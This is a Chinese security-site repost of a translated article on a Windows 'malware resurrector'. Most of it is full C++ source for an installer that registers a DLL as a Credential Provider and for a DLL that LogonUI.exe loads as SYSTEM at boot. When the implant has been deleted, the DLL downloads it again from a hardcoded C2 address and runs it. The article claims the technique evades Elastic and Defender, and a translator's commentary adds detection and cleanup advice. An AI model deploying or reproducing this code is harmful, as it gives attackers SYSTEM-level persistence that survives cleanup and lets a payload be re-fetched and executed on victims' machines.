恶意软件复活器:把DLL注册成CredentialProvider,开机以SYSTEM拉回被删的植入体

admin 2026-09-24 06:04:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了通过将DLL注册为WindowsCredentialProvider实现恶意软件持久化的技术,利用LogonUI.exe以SYSTEM权限加载DLL,实现植入体被删除后从C2服务器自动下载并重新运行。文章提供了完整代码实现,包括注册表操作、DllMain线程创建、持久化检查逻辑及WinHTTP下载功能,并声称实测可绕过Elastic与WindowsDefender检测。该技术属于高级恶意软件持久化手法,具有较高技术深度和完整可操作性。 综合评分: 72 文章分类: 恶意软件,红队,免杀,安全工具


恶意软件复活器:把 DLL 注册成 Credential Provider,开机以 SYSTEM 拉回被删的植入体

S12 S12

赛博生存指南

2026年9月22日 08:18 浙江

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

原文:https://medium.com/@s12deff/malware-resurrector-via-windows-credential-provider-dll-sideloading-c82efeac4054 作者:S12 – 0x12Dark Development 发布时间:2026-09-20 翻译模型:GLM-5.3

编者按:同一位作者(S12)的第五篇译介。前四篇玩的是 BYOVD 句柄表,这篇不需要漏洞驱动,只要一次性管理员权限:往注册表里塞一个「假」Credential Provider,之后每次开机、任何用户登录之前,LogonUI.exe 都会以 SYSTEM 身份把对应的 DLL 加载起来。这个 DLL 不实现任何登录功能——COM 加载本身就是它要的全部:DllMain 里把自己钉进内存、撒一个线程出去,发现植入体被删就从 C2 拉回来重跑。全文代码完整,实测 Elastic 与 Windows Defender 均无告警。

引言

欢迎来到新的一篇。这次我们用 Windows Credential Provider(Windows 登录界面的凭据提供组件)造一个「恶意软件复活器」。思路很简单:把一个 DLL 注册成 Credential Provider,让它每次开机都以 SYSTEM 身份被加载;这个 DLL 检查我们的植入体还在不在磁盘上——不在,就从 C2 下载回来并运行。

本文假设你知道 COM 是什么、LoadLibrary 怎么工作、DLL 入口长什么样——不从零讲起。

COM Process Server

COM 通过注册表把类标识符(CLSID)映射到一个 DLL 路径。当 COM 客户端调用 CoCreateInstance 时,运行时读取 InprocServer32 的值,然后对那个路径调 LoadLibrary。标准注册形态:

HKCR\CLSID\{YOUR-GUID}\
    (default) = "Name"
    InprocServer32\
        (default) = "C:\path\to\your.dll"
        ThreadingModel = "Apartment"

ThreadingModel = Apartment 是任何要跟 UI 组件交互的 COM server 的硬性要求。

Credential Provider 注册

第二个键告诉 LogonUI.exe:把这个 CLSID 当作一个 Credential Provider:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{YOUR-GUID}
    (default) = "Friendly Name"

每次开机,LogonUI.exe 枚举这个键下的所有 CLSID,对每一个调 CoCreateInstance。我们的 DLL 就这样以 SYSTEM 身份被加载——此时还不存在任何用户会话。

方法论

  • 往同一目录放两个二进制:Resurrector.exe(安装器)和 Resurrector.dll(持久器)
  • 以管理员身份运行 Resurrector.exe。它把自己的路径写进 HKLM\SOFTWARE\MyProvider\LoaderPath,并把 DLL 注册成一个自定义 CLSID 的 Credential Provider
  • 每次开机,LogonUI.exe 经 COM 以 SYSTEM 加载 Resurrector.dll
  • DllMain 把 DLL 钉在内存里,并起一个线程
  • 线程从注册表读 LoaderPath,检查 exe 是否还在磁盘上;在,就直接退出
  • exe 没了,线程就用 WinHTTP 走 HTTP 从 C2 下载它,写回原来的路径
  • 再用 CreateProcess 以 SYSTEM 把 exe 跑一遍,由它把自己和 DLL 重新注册
[Boot]
  LogonUI.exe
CoCreateInstance({4206A801-...})
LoadLibrary(Resurrector.dll)
        DllMain: DLL_PROCESS_ATTACH
CreateThread(PersistenceCheck)
ReadReg(HKLM\SOFTWARE\MyProvider\LoaderPath)
              |
              +-- FileExists? YES --> return (implant alive)
              |
              +-- FileExists? NO
DownloadFile(C2_HOST:80/Loader.exe)
WriteToDisk(exePath)
CreateProcess(exePath) --> runs as SYSTEM

实现

安装器:写注册表

exe 把自己的扩展名替换成 .dll 得到 DLL 路径;先写 loader 路径记录,再注册 COM 与 Credential Provider 的键。alreadyRegistered 检查防止重复运行时重复注册,但路径记录每次都会刷新。

// Resurrector.exe — installer
intmain(){
wchar_t exePath[MAX_PATH] = {};
GetModuleFileNameW(nullptr, exePath, MAX_PATH);

// derive DLL path — same dir, same name, .dll extension
wchar_t dllPath[MAX_PATH] = {};
wcscpy_s(dllPath, exePath);
wchar_t* ext = wcsrchr(dllPath, L'.');
if (ext)
wcscpy_s(ext, 5, L".dll");

wchar_t clsidKey[512]  = {};
wchar_t inprocKey[512] = {};
wchar_t cpKey[512]     = {};
swprintf_s(clsidKey,  L"CLSID\\%s", CLSID_STR);
swprintf_s(inprocKey, L"CLSID\\%s\\InprocServer32", CLSID_STR);
swprintf_s(cpKey, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\"
L"Authentication\\Credential Providers\\%s", CLSID_STR);

bool alreadyRegistered = KeyExists(HKEY_CLASSES_ROOT, inprocKey) &&
KeyExists(HKEY_LOCAL_MACHINE, cpKey);

// always refresh the loader path so the DLL always has the right path
WriteRegString(HKEY_LOCAL_MACHINE, EXE_RECORD_KEY, EXE_RECORD_VALUE, exePath);

if (!alreadyRegistered) {
WriteRegString(HKEY_CLASSES_ROOT, clsidKey,  nullptr,           FRIENDLY_NAME);
WriteRegString(HKEY_CLASSES_ROOT, inprocKey, nullptr,           dllPath);
WriteRegString(HKEY_CLASSES_ROOT, inprocKey, L"ThreadingModel", L"Apartment");
WriteRegString(HKEY_LOCAL_MACHINE, cpKey,    nullptr,           FRIENDLY_NAME);
    }
}

DllMain:先钉住,再起线程

pin 必须发生在起线程之前。如果先起线程、pin 还没执行 COM 就调了 FreeLibrary,线程就已经死了。

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
if (fdwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hinstDLL);

// pin the DLL so FreeLibrary cannot unmap it while the thread runs
        HMODULE hMod = nullptr;
GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_PIN,
            (LPCWSTR)DllMain, &hMod);

        HANDLE hThread = CreateThread(nullptr, 0, PersistenceCheck, nullptr, 0, nullptr);
if (hThread)
CloseHandle(hThread);
    }
return TRUE;
}

PersistenceCheck:读、检查、复活

DWORD WINAPI PersistenceCheck(LPVOID){
wchar_t exePath[MAX_PATH] = {};
if (!ReadRegString(HKEY_LOCAL_MACHINE, EXE_RECORD_KEY, EXE_RECORD_VALUE,
                       exePath, MAX_PATH))
return1;

// implant is alive, nothing to do
if (FileExists(exePath))
return0;

// implant is gone, fetch from C2
&nbsp; &nbsp; std::vector<BYTE> payload;
if&nbsp;(!DownloadFile(C2_HOST, C2_PORT, C2_PATH, payload))
return1;

if&nbsp;(!WriteToDisk(exePath, payload))
return1;

RunProcess(exePath);
return0;
}

下载:WinHTTP 分块读取

boolDownloadFile(constwchar_t* host, INTERNET_PORT port,
constwchar_t* path, std::vector<BYTE>& outBytes){
&nbsp; &nbsp; HINTERNET hSession =&nbsp;WinHttpOpen(nullptr, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS,&nbsp;0);
&nbsp; &nbsp; HINTERNET hConnect =&nbsp;WinHttpConnect(hSession, host, port,&nbsp;0);
&nbsp; &nbsp; HINTERNET hRequest =&nbsp;WinHttpOpenRequest(hConnect,&nbsp;L"GET", path,&nbsp;nullptr, WINHTTP_NO_REFERER,WINHTTP_DEFAULT_ACCEPT_TYPES,&nbsp;0);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS,&nbsp;0, WINHTTP_NO_REQUEST_DATA,&nbsp;0,&nbsp;0,&nbsp;0);
WinHttpReceiveResponse(hRequest,&nbsp;nullptr);

&nbsp; &nbsp; DWORD available =&nbsp;0;
while&nbsp;(WinHttpQueryDataAvailable(hRequest, &available) && available >&nbsp;0) {
size_t&nbsp;offset = outBytes.size();
&nbsp; &nbsp; &nbsp; &nbsp; outBytes.resize(offset + available);
&nbsp; &nbsp; &nbsp; &nbsp; DWORD read =&nbsp;0;
WinHttpReadData(hRequest, outBytes.data() + offset, available, &read);
if&nbsp;(read < available)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; outBytes.resize(offset + read);
&nbsp; &nbsp; }

WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return&nbsp;!outBytes.empty();
}

完整代码

DLL:

#include<windows.h>
#include<winhttp.h>
#include<vector>
#include<cstdarg>
#include<cstdio>

#pragma&nbsp;comment(lib,&nbsp;"winhttp.lib")
#pragma&nbsp;comment(lib,&nbsp;"advapi32.lib")

voidDebugLog(constwchar_t* format, ...){
wchar_t&nbsp;message[1024];

&nbsp; &nbsp; va_list args;
va_start(args, format);
&nbsp; &nbsp; _vsnwprintf_s(message, _countof(message), _TRUNCATE, format, args);
va_end(args);

&nbsp; &nbsp; HANDLE hFile =&nbsp;CreateFileW(L"C:\\Temp\\MyDLL.log", FILE_APPEND_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE,&nbsp;nullptr, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,&nbsp;nullptr);
if&nbsp;(hFile == INVALID_HANDLE_VALUE) {
return;
&nbsp; &nbsp; }

&nbsp; &nbsp; SYSTEMTIME time;
GetLocalTime(&time);

wchar_t&nbsp;line[1200];
swprintf_s(line, _countof(line),&nbsp;L"[%02d:%02d:%02d.%03d] %ls\r\n", time.wHour, time.wMinute, time.wSecond, time.wMilliseconds, message);

char&nbsp;utf8[2400];
int&nbsp;size =&nbsp;WideCharToMultiByte(CP_UTF8,&nbsp;0, line,&nbsp;-1, utf8,&nbsp;sizeof(utf8),&nbsp;nullptr,&nbsp;nullptr);

if&nbsp;(size >&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; DWORD written =&nbsp;0;
WriteFile(hFile, utf8, size -&nbsp;1, &written,&nbsp;nullptr);
&nbsp; &nbsp; }

CloseHandle(hFile);
}

constwchar_t* EXE_RECORD_KEY =&nbsp;L"SOFTWARE\\MyProvider";
constwchar_t* EXE_RECORD_VALUE =&nbsp;L"LoaderPath";

constwchar_t* C2_HOST =&nbsp;L"192.168.1.113";
constwchar_t* C2_PATH =&nbsp;L"/Loader.exe";
const&nbsp;INTERNET_PORT C2_PORT =&nbsp;80;

boolReadRegString(HKEY root,&nbsp;constwchar_t* path,&nbsp;constwchar_t* valueName,&nbsp;wchar_t* out, DWORD outSize){
DebugLog(L"ReadRegString: %ls", path);
&nbsp; &nbsp; HKEY hKey =&nbsp;nullptr;
&nbsp; &nbsp; LONG result =&nbsp;RegOpenKeyExW(root, path,&nbsp;0, KEY_READ, &hKey);
if&nbsp;(result != ERROR_SUCCESS) {
DebugLog(L"RegOpenKeyExW failed: %ld", result);
returnfalse;
&nbsp; &nbsp; }
&nbsp; &nbsp; DWORD type =&nbsp;0;
&nbsp; &nbsp; DWORD size = outSize *&nbsp;sizeof(wchar_t);
&nbsp; &nbsp; result =&nbsp;RegQueryValueExW(hKey, valueName,&nbsp;nullptr, &type, (LPBYTE)out, &size);
RegCloseKey(hKey);
DebugLog(L"ReadRegString result: %ld", result);
return&nbsp;result == ERROR_SUCCESS && type == REG_SZ;
}

boolFileExists(constwchar_t* path){
DebugLog(L"FileExists: %ls", path);
&nbsp; &nbsp; DWORD attr =&nbsp;GetFileAttributesW(path);
return&nbsp;attr != INVALID_FILE_ATTRIBUTES && !(attr & FILE_ATTRIBUTE_DIRECTORY);
}

boolDownloadFile(constwchar_t* host, INTERNET_PORT port,&nbsp;constwchar_t* path, std::vector<BYTE>& outBytes){
DebugLog(L"DownloadFile: %ls:%u%ls", host, port, path);

&nbsp; &nbsp; HINTERNET hSession =&nbsp;WinHttpOpen(nullptr, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS,&nbsp;0);
if&nbsp;(!hSession) {
DebugLog(L"WinHttpOpen failed: %lu",&nbsp;GetLastError());
returnfalse;
&nbsp; &nbsp; }

&nbsp; &nbsp; HINTERNET hConnect =&nbsp;WinHttpConnect(hSession, host, port,&nbsp;0);
if&nbsp;(!hConnect) {
DebugLog(L"WinHttpConnect failed: %lu",&nbsp;GetLastError());
WinHttpCloseHandle(hSession);
returnfalse;
&nbsp; &nbsp; }

&nbsp; &nbsp; HINTERNET hRequest =&nbsp;WinHttpOpenRequest(hConnect,&nbsp;L"GET", path,&nbsp;nullptr, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,&nbsp;0);
if&nbsp;(!hRequest) {
DebugLog(L"WinHttpOpenRequest failed: %lu",&nbsp;GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
returnfalse;
&nbsp; &nbsp; }

if&nbsp;(!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS,&nbsp;0, WINHTTP_NO_REQUEST_DATA,&nbsp;0,&nbsp;0,&nbsp;0) || !WinHttpReceiveResponse(hRequest,&nbsp;nullptr)) {
DebugLog(L"WinHttp request failed: %lu",&nbsp;GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
returnfalse;
&nbsp; &nbsp; }

&nbsp; &nbsp; DWORD available =&nbsp;0;
while&nbsp;(WinHttpQueryDataAvailable(hRequest, &available) && available >&nbsp;0) {
size_t&nbsp;offset = outBytes.size();
&nbsp; &nbsp; &nbsp; &nbsp; outBytes.resize(offset + available);
&nbsp; &nbsp; &nbsp; &nbsp; DWORD read =&nbsp;0;
WinHttpReadData(hRequest, outBytes.data() + offset, available, &read);
if&nbsp;(read < available) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; outBytes.resize(offset + read);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
DebugLog(L"DownloadFile completed: %zu bytes", outBytes.size());
return&nbsp;!outBytes.empty();
}

boolWriteToDisk(constwchar_t* filePath,&nbsp;const&nbsp;std::vector<BYTE>& data){
DebugLog(L"WriteToDisk: %ls (%zu bytes)", filePath, data.size());

&nbsp; &nbsp; HANDLE hFile =&nbsp;CreateFileW(filePath, GENERIC_WRITE,&nbsp;0,&nbsp;nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,&nbsp;nullptr);
if&nbsp;(hFile == INVALID_HANDLE_VALUE) {
DebugLog(L"CreateFileW failed: %lu",&nbsp;GetLastError());
returnfalse;
&nbsp; &nbsp; }
&nbsp; &nbsp; DWORD written =&nbsp;0;
bool&nbsp;ok =&nbsp;WriteFile(hFile, data.data(), (DWORD)data.size(), &written,&nbsp;nullptr);
CloseHandle(hFile);
DebugLog(L"WriteToDisk result: %s", ok ?&nbsp;L"success"&nbsp;:&nbsp;L"failed");
return&nbsp;ok && written == (DWORD)data.size();
}

boolRunProcess(wchar_t* exePath){
DebugLog(L"RunProcess: %ls", exePath);

&nbsp; &nbsp; STARTUPINFOW si = {};
&nbsp; &nbsp; si.cb =&nbsp;sizeof(si);
&nbsp; &nbsp; PROCESS_INFORMATION pi = {};
bool&nbsp;ok =&nbsp;CreateProcessW(nullptr, exePath,&nbsp;nullptr,&nbsp;nullptr, FALSE,&nbsp;0,&nbsp;nullptr,&nbsp;nullptr, &si, &pi);
if&nbsp;(ok) {
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
&nbsp; &nbsp; }
else&nbsp;{
DebugLog(L"CreateProcessW failed: %lu",&nbsp;GetLastError());
&nbsp; &nbsp; }
return&nbsp;ok;
}

DWORD WINAPI&nbsp;PersistenceCheck(LPVOID){
DebugLog(L"PersistenceCheck started");

// Read the loader path the .exe wrote at install time
wchar_t&nbsp;exePath[MAX_PATH] = {};
if&nbsp;(!ReadRegString(HKEY_LOCAL_MACHINE, EXE_RECORD_KEY, EXE_RECORD_VALUE, exePath, MAX_PATH))
return1;

// If the .exe is still on disk, nothing to do
if&nbsp;(FileExists(exePath)) {
DebugLog(L"Loader exists: %ls", exePath);
return0;
&nbsp; &nbsp; }

// Download the loader from the C2 and write it back to the original path
&nbsp; &nbsp; std::vector<BYTE> payload;
if&nbsp;(!DownloadFile(C2_HOST, C2_PORT, C2_PATH, payload)) {
DebugLog(L"DownloadFile failed");
return1;
&nbsp; &nbsp; }

if&nbsp;(!WriteToDisk(exePath, payload)) {
DebugLog(L"WriteToDisk failed");
return1;
&nbsp; &nbsp; }

// run the loader so it re registers itself
RunProcess(exePath);
DebugLog(L"PersistenceCheck finished");
return0;
}

BOOL WINAPI&nbsp;DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
if&nbsp;(fdwReason == DLL_PROCESS_ATTACH) {
DebugLog(L"DLL_PROCESS_ATTACH");
DisableThreadLibraryCalls(hinstDLL);

&nbsp; &nbsp; &nbsp; &nbsp; HMODULE hMod =&nbsp;nullptr;
GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_PIN, (LPCWSTR)DllMain,&hMod);

&nbsp; &nbsp; &nbsp; &nbsp; HANDLE hThread =&nbsp;CreateThread(nullptr,&nbsp;0, PersistenceCheck,&nbsp;nullptr,&nbsp;0,&nbsp;nullptr);
if&nbsp;(hThread) {
CloseHandle(hThread);
&nbsp; &nbsp; &nbsp; &nbsp; }
else&nbsp;{
DebugLog(L"CreateThread failed: %lu",&nbsp;GetLastError());
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
return&nbsp;TRUE;
}

Resurrector(exe):

#include<iostream>
#include<windows.h>

usingnamespace&nbsp;std;

constwchar_t* CLSID_STR =&nbsp;L"{4206A801-CF35-4AE0-9B14-438917AE811C}";
constwchar_t* FRIENDLY_NAME =&nbsp;L"Resurrector";

constwchar_t* EXE_RECORD_KEY =&nbsp;L"SOFTWARE\\MyProvider";
constwchar_t* EXE_RECORD_VALUE =&nbsp;L"LoaderPath";

boolKeyExists(HKEY root,&nbsp;constwchar_t* path){
&nbsp; &nbsp; HKEY hKey =&nbsp;nullptr;
&nbsp; &nbsp; LONG result =&nbsp;RegOpenKeyExW(root, path,&nbsp;0, KEY_READ, &hKey);
if&nbsp;(result == ERROR_SUCCESS) {
RegCloseKey(hKey);
returntrue;
&nbsp; &nbsp; }
returnfalse;
}

boolWriteRegString(HKEY root,&nbsp;constwchar_t* path,&nbsp;constwchar_t* valueName,&nbsp;constwchar_t* data){
&nbsp; &nbsp; HKEY hKey =&nbsp;nullptr;
&nbsp; &nbsp; LONG result =&nbsp;RegCreateKeyExW(root, path,&nbsp;0,&nbsp;nullptr, REG_OPTION_NON_VOLATILE, KEY_WRITE,&nbsp;nullptr, &hKey,&nbsp;nullptr);
if&nbsp;(result != ERROR_SUCCESS) {
returnfalse;
&nbsp; &nbsp; }
&nbsp; &nbsp; DWORD dataSize = (DWORD)((wcslen(data) +&nbsp;1) *&nbsp;sizeof(wchar_t));
&nbsp; &nbsp; result =&nbsp;RegSetValueExW(hKey, valueName,&nbsp;0, REG_SZ, (const&nbsp;BYTE*)data, dataSize);
RegCloseKey(hKey);
return&nbsp;result == ERROR_SUCCESS;
}

intmain(){
wchar_t&nbsp;exePath[MAX_PATH] = {};
GetModuleFileNameW(nullptr, exePath, MAX_PATH);

wchar_t&nbsp;dllPath[MAX_PATH] = {};
wcscpy_s(dllPath, exePath);
wchar_t* ext =&nbsp;wcsrchr(dllPath,&nbsp;L'.');
if&nbsp;(ext) {
wcscpy_s(ext,&nbsp;5,&nbsp;L".dll");
&nbsp; &nbsp; }

// credential provider
wchar_t&nbsp;clsidKey[512] = {};
wchar_t&nbsp;inprocKey[512] = {};
wchar_t&nbsp;cpKey[512] = {};
swprintf_s(clsidKey,&nbsp;L"CLSID\\%s", CLSID_STR);
swprintf_s(inprocKey,&nbsp;L"CLSID\\%s\\InprocServer32", CLSID_STR);
swprintf_s(cpKey,&nbsp;L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\Credential Providers\\%s", CLSID_STR);

// check if the dll is already in the cred provider
bool&nbsp;alreadyRegistered =&nbsp;KeyExists(HKEY_CLASSES_ROOT, inprocKey) &&&nbsp;KeyExists(HKEY_LOCAL_MACHINE, cpKey);

if&nbsp;(!WriteRegString(HKEY_LOCAL_MACHINE, EXE_RECORD_KEY, EXE_RECORD_VALUE, exePath)) {
MessageBoxW(nullptr,&nbsp;L"Failed to write loader path record.",&nbsp;L"Error", MB_OK | MB_ICONERROR);
return1;
&nbsp; &nbsp; }

if&nbsp;(alreadyRegistered) {
MessageBoxW(nullptr,&nbsp;L"Credential provider already registered.",&nbsp;L"Status", MB_OK | MB_ICONINFORMATION);
return0;
&nbsp; &nbsp; }

if&nbsp;(!WriteRegString(HKEY_CLASSES_ROOT, clsidKey,&nbsp;nullptr, FRIENDLY_NAME) ||
&nbsp; &nbsp; &nbsp; &nbsp; !WriteRegString(HKEY_CLASSES_ROOT, inprocKey,&nbsp;nullptr, dllPath) ||
&nbsp; &nbsp; &nbsp; &nbsp; !WriteRegString(HKEY_CLASSES_ROOT, inprocKey,&nbsp;L"ThreadingModel",&nbsp;L"Apartment")) {
MessageBoxW(nullptr,&nbsp;L"Failed to write COM keys.",&nbsp;L"Error", MB_OK | MB_ICONERROR);
return1;
&nbsp; &nbsp; }

if&nbsp;(!WriteRegString(HKEY_LOCAL_MACHINE, cpKey,&nbsp;nullptr, FRIENDLY_NAME)) {
MessageBoxW(nullptr,&nbsp;L"Failed to write Credential Providers key.",&nbsp;L"Error", MB_OK | MB_ICONERROR);
return1;
&nbsp; &nbsp; }

MessageBoxW(nullptr,&nbsp;L"Credential provider registered successfully.",&nbsp;L"Status", MB_OK | MB_ICONINFORMATION);
return0;
}

概念验证

跑起来看看:

接下来只需重启系统。如果文件已经不在了,DLL 会自动把它下载回来。这里是一段简单的 PoC 演示视频https://youtu.be/GgtLNM0rB_A。

检测

这次扫描的结果在这里:扫描结果https://0x12darksandbox.net/results/336。

Elastic 和 Windows Defender 都没有告警。但沙箱结果里能看到注册表变更:

结论

Windows Credential Provider 是一个每次开机、任何用户登录之前就运行的 SYSTEM 执行环境。在那里加载一个会把被删植入体下载回来的 DLL,你得到的就是挺得过人工清理的持久化。唯一的硬门槛是管理员权限。

译者解读

一、这个 DLL 根本不是合法的 Credential Provider。 通读完整代码会发现,DLL 没有导出 DllGetClassObject,也没有任何 ICredentialProvider 实现——LogonUI 对它调 CoCreateInstance 时,COM 加载 DLL、跑完 DllMain,接着找 DllGetClassObject 必然失败,整个调用以错误收场。但这无所谓:加载本身就是目的,DllMain 里已经把模块 PIN 进内存、已经把线程撒了出去。PIN(GET_MODULE_HANDLE_EX_FLAG_PIN)挡的是 CoCreateInstance 失败后 COM 随之而来的 FreeLibrary,这也解释了作者为什么强调 pin 必须发生在起线程之前:模块一旦被解除映射,线程要跑的代码就没了。标题里的「Sideloading」要按这个角度理解:它跟经典意义「让合法进程替你执行 DLL」的侧加载不是一回事,而是寄生在 Credential Provider 的 COM 枚举机制上,被 LoadLibrary 一次即完成使命。

二、值得学的是持久层与工作层分离的结构。 自启动位置本身不值钱,Windows 里到处都是。这套设计有意思的地方是把「维持驻留」和「干活」拆开互相兜底:CP DLL 是持久层,注册表键在,开机必被加载;植入体是工作层,可以被删,删了会被拉回来,拉回来重跑时又顺手刷新注册表(main() 里 alreadyRegistered 检查会跳过重复注册,LoaderPath 每次刷新)。对应急响应的含义很直接:只删 exe 是无效清理,开机后 DLL 会把它拉回来;有效清理必须一次清根——DLL 文件、HKCR\CLSID{GUID} 两处 COM 键、Credential Providers 键,缺一处都可能复活或被重建。

三、执行面安静,结构面很吵。 沙箱结论「Elastic 与 Defender 都没告警」不意外:这个 DLL 不带恶意特征,也不做注入或进程篡改,行为只是「注册一个新 CLSID 的 COM DLL」加「开机联网下载文件」。但留下的结构痕迹极强。其一,正常系统的 Authentication\Credential Providers 键集合基本稳定,新增未知 CLSID 是高信噪比信号,Sysmon EID 13/4657 盯这条路径即可,Sigma 社区已有现成规则。其二,合法 Credential Provider 全部随系统分发、带微软签名,InprocServer32 指向 System32 之外的无签名 DLL 即异常。其三,LogonUI.exe 出现对裸 IP 80 端口的 HTTP 出站连接(Sysmon EID 3)本身就该报警。其四,LogonUI.exe 从用户可写路径加载 DLL(Sysmon EID 7)。任一命中都足以定性。这条链的 OPSEC 短板全在驻留结构上,执行动作反倒是干净的。

四、ATT&CK 映射与系列脉络。 手法属 T1547(Boot or Logon Autostart Execution)大类;ATT&CK 官方没给 Credential Providers 单独的子技术,社区通常把它与 T1547.005(Security Support Provider,同样是被登录链路加载的第三方 DLL)并列处理。跟前四篇 BYOVD 相比,这篇把门槛换了位置:不再需要漏洞驱动,只要一次性管理员权限,换来的是 SYSTEM、登录前、无用户会话的执行时机,与本仓库《Plug and Pwn》的 PnP 安装路径殊途同归(那条路连管理员权限都不需要)。代码本身是教学级 OPSEC:明文 HTTP 裸 IP 的 C2、往 C:\Temp\MyDLL.log 写调试日志、注册表键名直接叫 MyProvider、CLSID 是写死的 PoC 值,真要武器化全得换;但骨架是通用的:注册、pin、线程、检查、拉回。

五、两个作者没展开的细节。 其一,在 DllMain 里 CreateThread,新线程并不会立刻跑起来:它的启动要等 loader lock 释放(即 DllMain 返回)之后。本文 DllMain 很快返回所以无碍;若在 DllMain 里做更重的事,就会看到「线程创建成功却迟迟不动」的假死。DisableThreadLibraryCalls 则省掉了后续线程的 DLL_THREAD_ATTACH 通知,在 LogonUI 这种关键进程里少惹一轮回调。其二,本文演示的触发点是开机(登录界面出现)——LogonUI.exe 在登录完成后即退出,PIN 住的 DLL 随进程一起消失。所以这套机制更像「每次登录界面出现前跑一次的钩子」而非常驻守护,两次开机之间的常驻由拉回来的植入体自己承担,复活器自己并不在场。

参考资源

  • 原文:Malware Resurrector via Windows Credential Provider DLL Sideloading:https://medium.com/@s12deff/malware-resurrector-via-windows-credential-provider-dll-sideloading-c82efeac4054
  • PoC 演示视频:https://youtu.be/GgtLNM0rB_A
  • 沙箱扫描结果(0x12DarkSandbox,No.336):https://0x12darksandbox.net/results/336
  • Credential Providers 官方文档(Microsoft Learn):https://learn.microsoft.com/en-us/windows/win32/secauthn/credential-providers-in-windows
  • 作者课程站(原文内嵌推广):https://0x12darkdev.net
  • 作者 X:https://x.com/Salsa12__

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:赛博生存指南 S12 S12《恶意软件复活器:把 DLL 注册成 Credential Provider,开机以 SYSTEM 拉回被删的植入体》

评论:0   参与:  0